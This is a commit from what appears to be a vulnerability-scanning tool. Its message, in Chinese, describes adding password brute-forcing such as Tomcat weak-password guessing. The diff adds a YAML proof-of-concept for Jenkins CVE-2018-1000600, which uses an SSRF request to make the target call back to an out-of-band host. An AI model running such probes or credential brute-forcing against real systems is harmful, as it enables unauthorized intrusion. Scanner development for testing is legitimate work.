修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml

This commit is contained in:
shadow1ng
2021-02-25 19:53:58 +08:00
parent 0df4e314d1
commit 41deddb132
28 changed files with 480 additions and 1 deletions
+13
View File
@@ -0,0 +1,13 @@
name: poc-yaml-jenkins-cve-2018-1000600
set:
reverse: newReverse()
reverseUrl: reverse.url
rules:
- method: GET
path: /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl={{reverseUrl}}
expression: |
response.status == 200 && reverse.wait(5)
detail:
author: PickledFish(https://github.com/PickledFish)
links:
- https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/